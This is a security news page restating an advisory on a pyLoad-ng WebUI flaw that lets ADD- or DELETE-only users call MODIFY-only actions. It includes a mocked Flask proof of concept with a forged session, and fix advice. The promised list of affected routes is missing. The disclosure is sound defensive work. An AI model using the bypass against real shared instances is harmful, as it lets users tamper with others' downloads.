BTC
ETH
SOL
BNB
GOLD
XRP
DOGE
ADA
Back to home
Security

[MEDIUM] Security Advisory: pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions (pyload-ng)

pyLoad-ng's WebUI exposes a permission bypass in its JSON endpoints.

pyLoad-ng’s WebUI exposes a permission bypass in its JSON endpoints. Low-privileged users with only ADD or DELETE access can reorder download packages and files or abort ongoing downloads. These actions invoke core API methods that demand MODIFY permissions, creating a clear mismatch.

This flaw hits version 0.5.0b3 at commit ddc53b3d7. pyLoad-ng, an open-source download manager for file hosters like Rapidgator and Mega, relies on granular role-based access control (RBAC). Its core API enforces permissions strictly—order_package and order_file need Perms.MODIFY (lines 1125 and 1137 in src/pyload/core/api/__init__.py), as does stop_downloads (line 1046). But the WebUI shortcuts this.

Exploitable Endpoints

Three JSON routes stand out:

Evidence points to this being unintended. Nearby endpoints like /json/move_package and /json/edit_package correctly use @login_required("MODIFY") (lines 188-196 and 202-217). The UI even lets admins assign per-user perms in settings.html (lines 184-190), signaling these boundaries matter.

Proof of Concept

A PoC mocks the API and Flask app to demonstrate the bypass. It creates an ADD-only user context, confirms the core API blocks order_package, then hits the WebUI endpoint—which succeeds.

import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []
    def user_exists(self, username):
        return username == 'attacker'
    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))
    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['permission'] = Perms.ADD
    # POST to /json/package_order with pack_id=1, pos=2
    # FakeApi.calls logs the unauthorized call succeeding

The code snippet above is adapted from the advisory; full execution logs the MODIFY call despite ADD-only auth.

Why This Matters

In single-user setups, impact stays low—anyone logged in likely has MODIFY anyway. But pyLoad-ng targets shared environments, like servers managing bulk downloads for teams. A rogue ADD/DELETE user disrupts queues by reordering (delaying critical files) or aborts downloads mid-transfer, wasting bandwidth and time.

Real-world exposure amplifies risk. pyLoad-ng often runs on VPS with port-forwarded WebUI. Weak passwords or leaked creds let attackers register, gain ADD perms, then escalate to DoS. No RCE, but persistent tampering erodes trust.

Fix seems straightforward: Swap decorators to @login_required("MODIFY"). Check the repo—ddc53b3d7 dates to recent dev; stable releases lag. Audit similar mismatches; frontend-backend perm drift is common in Flask apps with RPC-style APIs.

pyLoad-ng scores fair on security: Active GitHub (over 1k stars), but beta versioning signals immaturity. Users: Patch now or isolate WebUI behind VPN. Devs: Unit test endpoint perms against core API. This vuln underscores why RBAC needs end-to-end enforcement—no shortcuts.

April 8, 2026 · 4 min · 14 views · Source: GitHub Security

Related